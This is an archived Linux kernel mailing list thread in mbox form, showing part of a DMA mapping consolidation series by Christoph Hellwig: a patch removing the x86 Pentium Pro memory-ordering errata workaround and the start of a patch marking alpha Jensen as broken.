X-Trace: blaine.gmane.org 1514535448 10788 195.159.176.226 (29 Dec 2017 08:17:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:17:28 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 linux-hexagon@vger.kernel.org, x86@kernel.org,
 linux-snps-arc@lists.infradead.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
 linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
 linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Dec 29 09:17:22 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eUpr0-0002Gs-1e
	for gla-linux-snps-arc@m.gmane.org; Fri, 29 Dec 2017 09:17:22 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=Q9kkdNPZKxtO3HM0BAWkcCZdSt2yK4KBYO4rnE91D/g=; b=P1N
	YMCHNAJZnegLFGxu3IJ8MAgnTprRmLJClFJubajtbP2iWq/Yw4HmK8HAslOwvIfh3Y3UrW5+K2Lsq
	9bW7wl4Xms/AXItebfax+FmAXdnIQYqVBVRTVVdkD931k1cQhp1HHb5qxLz9OS5OepXi0+ufPQl2r
	OBu+ol8H0K+BLy9kCCAsYduW3xOclK839hStAeYdk8hcqFwDqF506NnGUFG8rI7ucbgOhtj8wXhHG
	LmvPtTSzgoEI3pErLKmArf/P47zkUZEKXoDORU+1lrgezUivsV9sPWdPt/gudEKAZgmUnmWrhN7XU
	Lx5oIcZihI/IIMmYjJXLYozOQd2Ne7w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpsx-0008K7-J7; Fri, 29 Dec 2017 08:19:23 +0000
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
 id 1eUpsr-0008IO-CL; Fri, 29 Dec 2017 08:19:18 +0000
X-Mailer: git-send-email 2.14.2
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3165 gmane.linux.kernel.iommu:21877 gmane.linux.ports.mips.general:62920 gmane.linux.ports.ia64:28387 gmane.linux.ports.sh.devel:56033 gmane.linux.ports.sparc:27040 gmane.linux.kernel.cross-arch:40780 gmane.linux.ports.hexagon:1397 gmane.linux.kernel.metag:1471 gmane.linux.ports.arm.kernel:622890 gmane.linux.ports.parisc:28062 gmane.linux.kernel:2654206 gmane.linux.ports.alpha:4544 gmane.linux.ports.ppc64.devel:151494
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3165>

Almost every architecture supports a direct dma mapping implementation,
where no iommu is used and the device dma address is a 1:1 mapping to
the physical address or has a simple linear offset.  Currently the
code for this implementation is most duplicated over the architectures,
and the duplicated again in the swiotlb code, and then duplicated again
for special cases like the x86 memory encryption DMA ops.

This series takes the existing very simple dma-noop dma mapping
implementation, enhances it with all the x86 features and quirks, and
creates a common set of architecture hooks for it and the swiotlb code.

It then switches a large number of architectures to this generic
direct map implement and the new generic swiotlb dma_map ops.

Note that for now this only handles architectures that do cache coherent
DMA, but a similar consolidation for non-coherent architectures is in the
work for later merge windows.

From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 01/67] x86: remove X86_PPRO_FENCE
Date: Fri, 29 Dec 2017 09:18:05 +0100
Lines: 202
Approved: news@gmane.org
Message-ID: <20171229081911.2802-2-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535458 13274 195.159.176.226 (29 Dec 2017 08:17:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:17:38 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:17:32 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUpr4-0002fU-5w
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:17:26 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 284C6892;
	Fri, 29 Dec 2017 08:19:27 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 68143728
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:25 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id A315F108
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:24 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=j/X+RndRsSrkNyKJbvyUIV7yzvZK7IvPV8ztxkW2y4I=;
	b=jJet7QKPrZXXdVGv60YDhi8Zg
	NeePqCqRGwJ+Hnzu1nr1rnYN7ydDkvxcVwgPCDvmoEDzXhyD+eITuAY7A+C2poiN4AIRy3pHg99oT
	bIPY0VXPdbwmvS1qPYPy1m/fd0awXcTdkVqTIMgyk6pUCfGBddypYmwK919K/BxPP3p1ino7W/pF9
	94eL0LKVWgypudn5++yRH+9W6mx5tI6UOuK8LC02+QaxnaEyu3mlkA8wa9ftXKUHJNI/QbR7085iW
	yN8pRI6qWpj4dcnPLpWlgPaok3dUGL+/aTuo/I6v5d4exZFhCsoockkENqByA0EVY3LX800kR0Ezp
	aUU0PSxwA==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpsv-0008Jc-Or; Fri, 29 Dec 2017 08:19:22 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21878 gmane.linux.ports.mips.general:62921 gmane.linux.ports.ia64:28388 gmane.linux.ports.sh.devel:56034 gmane.linux.ports.sparc:27041 gmane.linux.kernel.cross-arch:40781 gmane.linux.ports.hexagon:1398 gmane.linux.kernel.arc:3166 gmane.linux.kernel.metag:1472 gmane.linux.ports.arm.kernel:622891 gmane.linux.ports.parisc:28063 gmane.linux.kernel:2654207 gmane.linux.ports.alpha:4545 gmane.linux.ports.ppc64.devel:151495
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21878>

There were only a few Pentium Pro multiprocessors systems where this
errata applied. They are more than 20 years old now, and we've slowly
dropped places where put the workarounds in and discuraged anyone
from enabling the workaround.

Get rid of it for good.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/x86/Kconfig.cpu                        | 13 -------------
 arch/x86/entry/vdso/vdso32/vclock_gettime.c |  2 --
 arch/x86/include/asm/barrier.h              | 30 -----------------------------
 arch/x86/include/asm/io.h                   | 15 ---------------
 arch/x86/kernel/pci-nommu.c                 | 19 ------------------
 arch/x86/um/asm/barrier.h                   |  4 ----
 6 files changed, 83 deletions(-)

diff --git a/arch/x86/Kconfig.cpu b/arch/x86/Kconfig.cpu
index 65a9a4716e34..f0c5ef578153 100644
--- a/arch/x86/Kconfig.cpu
+++ b/arch/x86/Kconfig.cpu
@@ -315,19 +315,6 @@ config X86_L1_CACHE_SHIFT
 	default "4" if MELAN || M486 || MGEODEGX1
 	default "5" if MWINCHIP3D || MWINCHIPC6 || MCRUSOE || MEFFICEON || MCYRIXIII || MK6 || MPENTIUMIII || MPENTIUMII || M686 || M586MMX || M586TSC || M586 || MVIAC3_2 || MGEODE_LX
 
-config X86_PPRO_FENCE
-	bool "PentiumPro memory ordering errata workaround"
-	depends on M686 || M586MMX || M586TSC || M586 || M486 || MGEODEGX1
-	---help---
-	  Old PentiumPro multiprocessor systems had errata that could cause
-	  memory operations to violate the x86 ordering standard in rare cases.
-	  Enabling this option will attempt to work around some (but not all)
-	  occurrences of this problem, at the cost of much heavier spinlock and
-	  memory barrier operations.
-
-	  If unsure, say n here. Even distro kernels should think twice before
-	  enabling this: there are few systems, and an unlikely bug.
-
 config X86_F00F_BUG
 	def_bool y
 	depends on M586MMX || M586TSC || M586 || M486
diff --git a/arch/x86/entry/vdso/vdso32/vclock_gettime.c b/arch/x86/entry/vdso/vdso32/vclock_gettime.c
index 7780bbfb06ef..9242b28418d5 100644
--- a/arch/x86/entry/vdso/vdso32/vclock_gettime.c
+++ b/arch/x86/entry/vdso/vdso32/vclock_gettime.c
@@ -5,8 +5,6 @@
 #undef CONFIG_OPTIMIZE_INLINING
 #endif
 
-#undef CONFIG_X86_PPRO_FENCE
-
 #ifdef CONFIG_X86_64
 
 /*
diff --git a/arch/x86/include/asm/barrier.h b/arch/x86/include/asm/barrier.h
index 7fb336210e1b..aa0f7449d4a4 100644
--- a/arch/x86/include/asm/barrier.h
+++ b/arch/x86/include/asm/barrier.h
@@ -24,11 +24,7 @@
 #define wmb()	asm volatile("sfence" ::: "memory")
 #endif
 
-#ifdef CONFIG_X86_PPRO_FENCE
-#define dma_rmb()	rmb()
-#else
 #define dma_rmb()	barrier()
-#endif
 #define dma_wmb()	barrier()
 
 #ifdef CONFIG_X86_32
@@ -40,30 +36,6 @@
 #define __smp_wmb()	barrier()
 #define __smp_store_mb(var, value) do { (void)xchg(&var, value); } while (0)
 
-#if defined(CONFIG_X86_PPRO_FENCE)
-
-/*
- * For this option x86 doesn't have a strong TSO memory
- * model and we should fall back to full barriers.
- */
-
-#define __smp_store_release(p, v)					\
-do {									\
-	compiletime_assert_atomic_type(*p);				\
-	__smp_mb();							\
-	WRITE_ONCE(*p, v);						\
-} while (0)
-
-#define __smp_load_acquire(p)						\
-({									\
-	typeof(*p) ___p1 = READ_ONCE(*p);				\
-	compiletime_assert_atomic_type(*p);				\
-	__smp_mb();							\
-	___p1;								\
-})
-
-#else /* regular x86 TSO memory ordering */
-
 #define __smp_store_release(p, v)					\
 do {									\
 	compiletime_assert_atomic_type(*p);				\
@@ -79,8 +51,6 @@ do {									\
 	___p1;								\
 })
 
-#endif
-
 /* Atomic operations are already serializing on x86 */
 #define __smp_mb__before_atomic()	barrier()
 #define __smp_mb__after_atomic()	barrier()
diff --git a/arch/x86/include/asm/io.h b/arch/x86/include/asm/io.h
index 95e948627fd0..f6e5b9375d8c 100644
--- a/arch/x86/include/asm/io.h
+++ b/arch/x86/include/asm/io.h
@@ -232,21 +232,6 @@ extern void set_iounmap_nonlazy(void);
  */
 #define __ISA_IO_base ((char __iomem *)(PAGE_OFFSET))
 
-/*
- *	Cache management
- *
- *	This needed for two cases
- *	1. Out of order aware processors
- *	2. Accidentally out of order processors (PPro errata #51)
- */
-
-static inline void flush_write_buffers(void)
-{
-#if defined(CONFIG_X86_PPRO_FENCE)
-	asm volatile("lock; addl $0,0(%%esp)": : :"memory");
-#endif
-}
-
 #endif /* __KERNEL__ */
 
 extern void native_io_delay(void);
diff --git a/arch/x86/kernel/pci-nommu.c b/arch/x86/kernel/pci-nommu.c
index b0caae27e1b7..c78df78b5ccd 100644
--- a/arch/x86/kernel/pci-nommu.c
+++ b/arch/x86/kernel/pci-nommu.c
@@ -37,7 +37,6 @@ static dma_addr_t nommu_map_page(struct device *dev, struct page *page,
 	WARN_ON(size == 0);
 	if (!check_addr("map_single", dev, bus, size))
 		return NOMMU_MAPPING_ERROR;
-	flush_write_buffers();
 	return bus;
 }
 
@@ -72,25 +71,9 @@ static int nommu_map_sg(struct device *hwdev, struct scatterlist *sg,
 			return 0;
 		s->dma_length = s->length;
 	}
-	flush_write_buffers();
 	return nents;
 }
 
-static void nommu_sync_single_for_device(struct device *dev,
-			dma_addr_t addr, size_t size,
-			enum dma_data_direction dir)
-{
-	flush_write_buffers();
-}
-
-
-static void nommu_sync_sg_for_device(struct device *dev,
-			struct scatterlist *sg, int nelems,
-			enum dma_data_direction dir)
-{
-	flush_write_buffers();
-}
-
 static int nommu_mapping_error(struct device *dev, dma_addr_t dma_addr)
 {
 	return dma_addr == NOMMU_MAPPING_ERROR;
@@ -101,8 +84,6 @@ const struct dma_map_ops nommu_dma_ops = {
 	.free			= dma_generic_free_coherent,
 	.map_sg			= nommu_map_sg,
 	.map_page		= nommu_map_page,
-	.sync_single_for_device = nommu_sync_single_for_device,
-	.sync_sg_for_device	= nommu_sync_sg_for_device,
 	.is_phys		= 1,
 	.mapping_error		= nommu_mapping_error,
 	.dma_supported		= x86_dma_supported,
diff --git a/arch/x86/um/asm/barrier.h b/arch/x86/um/asm/barrier.h
index b7d73400ea29..f31e5d903161 100644
--- a/arch/x86/um/asm/barrier.h
+++ b/arch/x86/um/asm/barrier.h
@@ -30,11 +30,7 @@
 
 #endif /* CONFIG_X86_32 */
 
-#ifdef CONFIG_X86_PPRO_FENCE
-#define dma_rmb()	rmb()
-#else /* CONFIG_X86_PPRO_FENCE */
 #define dma_rmb()	barrier()
-#endif /* CONFIG_X86_PPRO_FENCE */
 #define dma_wmb()	barrier()
 
 #include <asm-generic/barrier.h>
-- 
2.14.2


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 02/67] alpha: mark jensen as broken
Date: Fri, 29 Dec 2017 09:18:06 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20171229081911.2802-3-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535464 14749 195.159.176.226 (29 Dec 2017 08:17:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:17:44 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:17:38 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUprE-0003FI-39
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:17:36 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 5694E72A;
	Fri, 29 Dec 2017 08:19:37 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 4091E728
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:36 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B623B405
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:35 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=bP8Ps/LhOAIbzIQ81OZV1Yhu21DxfYgZ2NDod9LpsQU=;
	b=l5H6vTbRYEGW9KMeVvrbrnk6G
	y3V4Fqta7ieoNmT6OgB8WfS2MW/3y35THFfH5DC4YE7diREgki5hazTZ6DpcMoz36vXLli+lU5kwj
	DvuLekNJBXt7trWhDYvQk8ERykhfHbf91ggZjAUpNNx0+83hJxnC62WQ11UDkE5SKw8+zHV3xD22q
	We9FFr9ncDoK8wdvoZMBLYuD+zrL9fL0XbBGlHI6V3wISGBYC8m97+ox4mwK4qHHnwDT8kxtlHt7K
	vGJNBXIxxccK3mHpPRM+QG0lTge9mQCFVsYqqMF+DI3dgejdS7KgB/K8vUT+HOmAoaP4bqnHZPfXk
	8KScgbYIQ==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpsz-0008K5-Kl; Fri, 29 Dec 2017 08:19:26 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21879 gmane.linux.ports.mips.general:62922 gmane.linux.ports.ia64:28389 gmane.linux.ports.sh.devel:56035 gmane.linux.ports.sparc:27042 gmane.linux.kernel.cross-arch:40782 gmane.linux.ports.hexagon:1399 gmane.linux.kernel.arc:3167 gmane.linux.kernel.metag:1473 gmane.linux.ports.arm.kernel:622892 gmane.linux.ports.parisc:28064 gmane.linux.kernel:2654208 gmane.linux.ports.alpha:4546 gmane.linux.ports.ppc64.devel:151496
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21879>

CONFIG_ALPHA_JENSEN has failed to compile since commit aca05038
("alpha/dma: use common noop dma ops"), so mark it as broken.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/alpha/Kconfig | 1 +
